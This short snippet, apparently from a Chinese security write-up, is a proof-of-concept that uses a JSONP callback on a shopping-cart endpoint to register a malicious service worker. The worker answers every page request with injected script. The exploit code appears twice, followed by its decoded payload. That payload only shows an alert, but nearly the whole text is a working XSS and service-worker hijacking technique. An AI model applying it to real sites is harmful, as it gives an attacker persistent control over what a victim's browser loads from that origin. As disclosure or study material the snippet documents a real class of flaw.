1
2
3
4
5
6
7

<script>
navigator.serviceWorker.register("/app/cart1/gateway/mergeShoppingCart.do?tempCartId=&operationTerminal=01&userFlag=0&settlementFlag=0&_=1498720341013&callback=onfetch%3Dfunction(e)%7B%0Ae.respondWith(new%20Response('%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'%2C%7Bheaders%3A%20%7B'Content-Type'%3A'text%2Fhtml'%7D%7D))%0A%7D%2F%2F").then(function(registration) {
  console.log('ServiceWorker registration successful with scope: ',    registration.scope);
}).catch(function(err) {
  console.log('ServiceWorker registration failed: ', err);
});
</script>

<script> navigator.serviceWorker.register("/app/cart1/gateway/mergeShoppingCart.do?tempCartId=&operationTerminal=01&userFlag=0&settlementFlag=0&_=1498720341013&callback=onfetch%3Dfunction(e)%7B%0Ae.respondWith(new%20Response('%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'%2C%7Bheaders%3A%20%7B'Content-Type'%3A'text%2Fhtml'%7D%7D))%0A%7D%2F%2F").then(function(registration) { console.log('ServiceWorker registration successful with scope: ', registration.scope); }).catch(function(err) { console.log('ServiceWorker registration failed: ', err); }); </script>

1
2
3
4

//解码后是下面的样子
/app/cart1/gateway/mergeShoppingCart.do?tempCartId=&operationTerminal=01&userFlag=0&settlementFlag=0&_=1498720341013&callback=onfetch=function(e){
e.respondWith(new Response('<script>alert(document.domain)</script>',{headers: {'Content-Type':'text/html'}}))
}//

//解码后是下面的样子 /app/cart1/gateway/mergeShoppingCart.do?tempCartId=&operationTerminal=01&userFlag=0&settlementFlag=0&_=1498720341013&callback=onfetch=function(e){ e.respondWith(new Response('<script>alert(document.domain)</script>',{headers: {'Content-Type':'text/html'}})) }//